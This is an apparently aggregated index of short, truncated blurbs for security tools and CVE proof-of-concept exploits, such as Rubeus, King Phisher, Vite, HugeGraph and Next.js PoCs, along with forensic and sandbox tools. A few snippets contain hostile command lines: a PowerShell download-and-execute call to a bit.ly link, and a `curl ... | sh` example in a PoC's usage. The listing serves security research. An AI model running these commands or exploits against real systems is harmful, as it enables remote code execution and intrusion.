ViteVulScan

ViteVulScan Introduzione alle vulnerabilità Questo progetto riguarda 3 vulnerabilità: CVE-2025-30208/CVE-2025-31125/CVE-2025-31486, tutte relative alla vulnerabilità di lettura arbitraria dei file del server di sviluppo Vite. Queste tre vulnerabilità hanno una vasta copertura e sono semplici da...

instarecon

InstaRecon Riconoscimento digitale di base automatizzato. Ottimo per ottenere un'impronta iniziale dei tuoi target e scoprire ulteriori sottodomini. InstaRecon farà: Ricerca DNS A, PTR, MX, NS Ricerca DNS ricorsivamente su tutti gli host scoperti Ricerca Whois su dominio e IP Dork di Google per...

Rubeus

Rubeus Rubeus è un set di strumenti C per l'interazione diretta con Kerberos e i suoi abusi. È fortemente adattato dal progetto Kekeo di Benjamin Delpy licenza CC BY-NC-SA 4.0 e dal progetto MakeMeEnterpriseAdmin di Vincent LE TOUX licenza GPL v3.0. Il pieno merito va a Benjamin e Vincent per ave...

CVE-2024-57241

CVE-2024-57241CNNVD-2024-34500830 For web applications using DEDECMS 5.71SP1 and earlier, URL redirects occur because the source code logic error of the CMS does not judge the input GET request Per le applicazioni web che utilizzano DEDECMS 5.71SP1 e versioni precedenti, si verificano...

CVE-2019-17564

CVE-2019-17564：Vulnerabilità di deserializzazione in Apache Dubbo 0x00 Introduzione Apache Dubbo è un framework RPC Java open source ad alte prestazioni e leggero che fornisce tre capacità fondamentali: chiamate a metodi remoti orientate all'interfaccia, tolleranza ai guasti intelligente e...

CVE-2014-4113

CVE-2014-4113 PowerShell CVE-2014-4113 Solo Windows x64 iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...

CVE-2021-40444

〖EXP〗Ladon CVE-2021-40444 Nachstellung der Office-Sicherheitslücke Überblick über die Sicherheitslücke Am 8. September Pekinger Zeit entdeckte das CERT von NSFOCUS, dass Microsoft ein Sicherheitsbulletin veröffentlichte, das die Sicherheitslücke zur Remote-Codeausführung in Microsoft MSHTML...

CVE-2023-23752

CVE-2023-23752 Modello nuclei per CVE-2023-23752 Joomla CVE-2023-23752 - un parametro di richiesta supera l'API REST Versione interessata ​ Joomla ha approssimativamente tre voci di instradamento, che sono 1. index.php nella directory principale utenti accedono agli articoli 2...

FACT_core

Lo Strumento di Analisi e Confronto del Firmware FACT Sommario Perché FACT? Installazione Utilizzo Documentazione Contribuire Plugin aggiuntivi Importazione/Esportazione delle Analisi Presentazioni Social Ringraziamenti Licenza Perché FACT? L'analisi del firmware può essere utilizzata per...

CVE-2024-52317

🚨🚨CVE-2024-52317🚨🚨 CVE-2024-52317 - Vulnerabilità di perdita di dati HTTP/2 in Apache Tomcat Panoramica CVE-2024-52317 è una vulnerabilità che colpisce l'implementazione HTTP/2 di Apache Tomcat. Il problema deriva da un riciclo improprio delle risorse di richiesta e risposta HTTP/2, che può porta...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 Questo è solo uno script di comodo che ho scritto per test. Uscita root@kitploit: Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc...

CVE-2026-44578-PoC

CVE-2026-44578 - Next.js WebSocket SSRF PoC Vulnerabilità: Server-Side Request Forgery nel gestore di upgrade WebSocket di Next.js 13.4.13 → 15.5.15, 16.0.0 → 16.1.6 Utilizzo root@kitploit: Detect vulnerability python3 poc.py target.com:3000 --detect Tunnel to internal Redis python3 poc.py...

bulk_extractor

bulkextractor è uno strumento ad alte prestazioni per l'estrazione di dati forensi digitali. È un pulsante "ottieni prove" che scansiona rapidamente qualsiasi tipo di input immagini disco, file, directory di file, ecc. ed estrae informazioni strutturate come indirizzi email, numeri di carte di...

hm-surf

Valutatore HM-Surf Valuta la suscettibilità dei browser macOS comuni a CVE-2024-44133. Contiene anche l'HTML che acquisisce uno screenshot e lo scarica insieme all'estrazione della posizione. Utilizzo - valutatore Per eseguire il valutatore, che verifica CVE-2024-44133 su tutti i browser macOS...

CVE-2024-27348

CVE-2024-27348 🪶 CVE-2024-27348 Prova di concetto per l'Exploit RCE in Apache HugeGraph Server Utenti non autenticati possono eseguire comandi del sistema operativo tramite iniezione Groovy in Apache HugeGraph Server. Utilizzo 🛠 Sfrutta più target ☣️ root@kitploit: python3 CVE-2024-27348.py -f...

norimaci

Norimaci "Norimaci" è una sandbox leggera e semplice per l'analisi di malware su macOS. Questo strumento è stato ispirato da "Noriben". Norimaci utilizza le funzionalità di OpenBSM o Monitor.app per monitorare l'attività di sistema su macOS invece di Sysinternals Process Monitor procmon. Norimaci...

CVE-2019-14537

YOURLS: CVE-2019-14537 PoC Quando ottieni un timestamp valido, sarai in grado di fare richieste all'API. http://domain.com/yourls-api.php?signature=0e1&action=db-stats&timestamp=VALIDTIMESTAMP Utilizzo root@kitploit: usage: main.py -h --vhost VHOST --threads THREADS --path PATH --port PORT ip...

crlfmap

CRLFMap CRLFMap è uno strumento per trovare vulnerabilità di HTTP Splitting Perché? Volevo scrivere uno strumento in Golang per la concorrenza Volevo essere in grado di fare fuzzing sia dei parametri che dei percorsi Installazione root@kitploit: go get github.com/ryandamour/crlfmap Aiuto...

CVE-2019-19781

CVE-2019-19781 Script automatizzato per lo scanner Citrix ADC CVE-2019-19781 che utilizza host recuperati dall'API di Shodan. Devi avere un account Shodan per usare questo script. Clicca qui se non hai un account Shodan. Installazione 1. Installa le dipendenze. root@kitploit: CentOS & Fedora yum...

king-phisher

King Phisher Kit per campagne di phishing King Phisher non è più mantenuto. Installazione Per istruzioni su come installare, consulta il file INSTALL.md. Dopo l'installazione, per istruzioni su come iniziare, consulta la wiki. Panoramica King Phisher è uno strumento per testare e promuovere la...